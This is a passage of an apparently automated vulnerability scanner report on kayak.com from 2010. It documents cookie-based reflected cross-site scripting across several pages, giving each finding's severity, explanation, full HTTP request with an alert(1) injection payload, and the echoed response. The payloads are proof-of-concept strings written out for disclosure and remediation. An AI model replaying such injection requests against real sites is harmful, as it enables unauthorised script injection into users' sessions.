The value of the p1.med.st cookie is copied into the HTML document as plain text between tags. The payload 9162d<script>alert(1)</script>3d105b42255 was submitted in the p1.med.st cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET / HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacations9162d<script>alert(1)</script>3d105b42255; p1.med.sc=4; p1.med.searched=true

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:39:13 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=3-LBqJ17NKumKryiQXRrYu; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=$qnLrVwvrdm7vKMvvJIc$A; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:39:13 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 40954

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<style type="text/css">


td.display_format{padding-right:20px}
td.vacations9162d<script>alert(1)</script>3d105b42255bg {
height: 100px;
}


td.fd_spacer{
height: 40px;
}

.yui-ge .yui-u {
width: 39%;
}
.yui-ge div.
...[SNIP]...

2.60. http://www.kayak.com/ [p1.med.st cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /

Issue detail

The value of the p1.med.st cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b8c08"-alert(1)-"e0cbab93930 was submitted in the p1.med.st cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET / HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacationsb8c08"-alert(1)-"e0cbab93930; p1.med.sc=4; p1.med.searched=true

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:39:13 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p2.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=30-g5L9xiIa5QUAT4RrK$Ge; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=Dp8HU$qHUVOsyHD$hnUU0Q; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:39:13 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 40890

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<script language="JavaScript" type="text/javascript">
var R9StartPage = new Date();
var isSuppressLogin = false;
var StartTab = "vacationsb8c08"-alert(1)-"e0cbab93930";
CMP2REQUIREDEST=true;
</script>
...[SNIP]...

2.61. http://www.kayak.com/ [p1.med.st cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /

Issue detail

The value of the p1.med.st cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 35435"><script>alert(1)</script>353e383a699 was submitted in the p1.med.st cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET / HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag; kayak=Z0gsTwHT79ulH4b$526T; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=vacations35435"><script>alert(1)</script>353e383a699; p1.med.sc=4; p1.med.searched=true

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 21:39:12 GMT
Connection: close
Set-Cookie: dc=dc1; Domain=.kayak.com; Path=/
Set-Cookie: cluster=2; Domain=.kayak.com; Path=/
Set-Cookie: p.med.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p4.som.sid=; Domain=.kayak.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: p1.med.sid=20-75V5VcHtbNuOuwYbN06g; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.token=Y9q1GXwa8nV3F0lrdaomzQ; Domain=.kayak.com; Expires=Wed, 12-Jan-2011 21:39:12 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 40960

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<input name="tab" value="vacations35435"><script>alert(1)</script>353e383a699" type="hidden"/>
...[SNIP]...

2.62. http://www.kayak.com/cars [Apache cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /cars

Issue detail

The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15193"-alert(1)-"8a635bdf95d was submitted in the Apache cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cars HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/flights
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3ag15193"-alert(1)-"8a635bdf95d; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=flights; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 20:43:12 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.st=cars; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 20:43:12 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 47896

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<iframe/>", {frameborder: 0, height: 1, src: "http://fls.doubleclick.net/activityi;src=2481777;type=front978;cat=carse022;u6=18-QtRjoTxW9L1u5ie6x_Yx;u5=rnneEg-AAABLEb26gQ-44-BKv3ag15193"-alert(1)-"8a635bdf95d;ord=1;num=2500370276780.79248046875?", width: 1}).appendTo("body");

jq("<script/>
...[SNIP]...

2.63. http://www.kayak.com/flights [Apache cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /flights

Issue detail

The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e6e4a"-alert(1)-"df0c44caae1 was submitted in the Apache cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /flights HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3age6e4a"-alert(1)-"df0c44caae1; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 20:43:17 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.st=flights; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 20:43:17 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 60988

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<iframe/>", {frameborder: 0, height: 1, src: "http://fls.doubleclick.net/activityi;src=2481777;type=front978;cat=fligh561;u6=18-QtRjoTxW9L1u5ie6x_Yx;u5=rnneEg-AAABLEb26gQ-44-BKv3age6e4a"-alert(1)-"df0c44caae1;ord=1;num=8505018723474.8212890625?", width: 1}).appendTo("body");

jq("<script/>
...[SNIP]...

2.64. http://www.kayak.com/hotels [Apache cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /hotels

Issue detail

The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6af16"-alert(1)-"277f96a28f1 was submitted in the Apache cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /hotels HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag6af16"-alert(1)-"277f96a28f1; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:44:54 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.st=hotels; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 20:44:54 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 50868

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<iframe/>", {frameborder: 0, height: 1, src: "http://fls.doubleclick.net/activityi;src=2481777;type=front978;cat=hotel113;u6=18-QtRjoTxW9L1u5ie6x_Yx;u5=rnneEg-AAABLEb26gQ-44-BKv3ag6af16"-alert(1)-"277f96a28f1;ord=1;num=1992416211804.19873046875?", width: 1}).appendTo("body");

jq("<script/>
...[SNIP]...

2.65. http://www.kayak.com/s/search/car [Apache cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /s/search/car

Issue detail

The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0ab3"-alert(1)-"5ad8ffd69dc was submitted in the Apache cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /s/search/car HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3agc0ab3"-alert(1)-"5ad8ffd69dc; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:44:57 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 48036

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<iframe/>", {frameborder: 0, height: 1, src: "http://fls.doubleclick.net/activityi;src=2481777;type=front978;cat=carse022;u6=18-QtRjoTxW9L1u5ie6x_Yx;u5=rnneEg-AAABLEb26gQ-44-BKv3agc0ab3"-alert(1)-"5ad8ffd69dc;ord=1;num=5881345220783.1064453125?", width: 1}).appendTo("body");

jq("<script/>
...[SNIP]...

2.66. http://www.kayak.com/s/search/hotel [Apache cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /s/search/hotel

Issue detail

The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1b42a"-alert(1)-"35a6e94aba7 was submitted in the Apache cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /s/search/hotel HTTP/1.1
Host: www.kayak.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: dc=dc2; profilerPoints=(%7B%22s0000%22%3A%201289702379087%7D); p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p2.med.sid=; kayak=Z0gsTwHT79ulH4b$526T; Apache=rnneEg-AAABLEb26gQ-44-BKv3ag1b42a"-alert(1)-"35a6e94aba7; p1.med.sc=4; p1.med.st=vacations; p1.med.searched=true; cluster=4; p.med.sid=; p4.som.sid=; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A;

Response (redirected)

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Date: Sat, 13 Nov 2010 20:45:14 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 51212

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<iframe/>", {frameborder: 0, height: 1, src: "http://fls.doubleclick.net/activityi;src=2481777;type=front978;cat=hotel113;u6=18-QtRjoTxW9L1u5ie6x_Yx;u5=rnneEg-AAABLEb26gQ-44-BKv3ag1b42a"-alert(1)-"35a6e94aba7;ord=1;num=3616844332076.154296875?", width: 1}).appendTo("body");

jq("<script/>
...[SNIP]...

2.67. http://www.kayak.com/vacations [Apache cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.kayak.com
Path:   /vacations

Issue detail

The value of the Apache cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bd5ba"-alert(1)-"1e460e5c6cf was submitted in the Apache cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /vacations HTTP/1.1
Host: www.kayak.com
Proxy-Connection: keep-alive
Referer: http://www.kayak.com/deals
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Apache=rnneEg-AAABLEb26gQ-44-BKv3agbd5ba"-alert(1)-"1e460e5c6cf; kayak=Z0gsTwHT79ulH4b$526T; p1.med.sc=2; p1.med.searched=true; p1.med.sid=18-QtRjoTxW9L1u5ie6x_Yx; p1.med.token=8AkMn8eQUr2xbX0GNcsR0A; p1.med.st=deals; dc=dc2; cluster=4

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-UA-Compatible: IE=8
Content-Type: text/html;charset=utf-8
Vary: Accept-Encoding
Date: Sat, 13 Nov 2010 20:43:20 GMT
Connection: close
Set-Cookie: dc=dc2; Domain=.kayak.com; Path=/
Set-Cookie: cluster=4; Domain=.kayak.com; Path=/
Set-Cookie: p1.med.st=vacations; Domain=.kayak.com; Expires=Fri, 11-Feb-2011 20:43:20 GMT; Path=/
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Cache-Control: pre-check=0, post-check=0
Expires: 0
Content-Length: 58433

<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">


<!-- Copyright 2004-2010 Kayak Software Corp, All Rights Reserved.
...[SNIP]...
<iframe/>", {frameborder: 0, height: 1, src: "http://fls.doubleclick.net/activityi;src=2481777;type=front978;cat=vacat814;u6=18-QtRjoTxW9L1u5ie6x_Yx;u5=rnneEg-AAABLEb26gQ-44-BKv3agbd5ba"-alert(1)-"1e460e5c6cf;ord=1;num=6091686681983.0634765625?", width: 1}).appendTo("body");

jq("<script/>
...[SNIP]...

Report generated by Hoyt LLC Research at Sun Nov 14 16:16:07 CST 2010.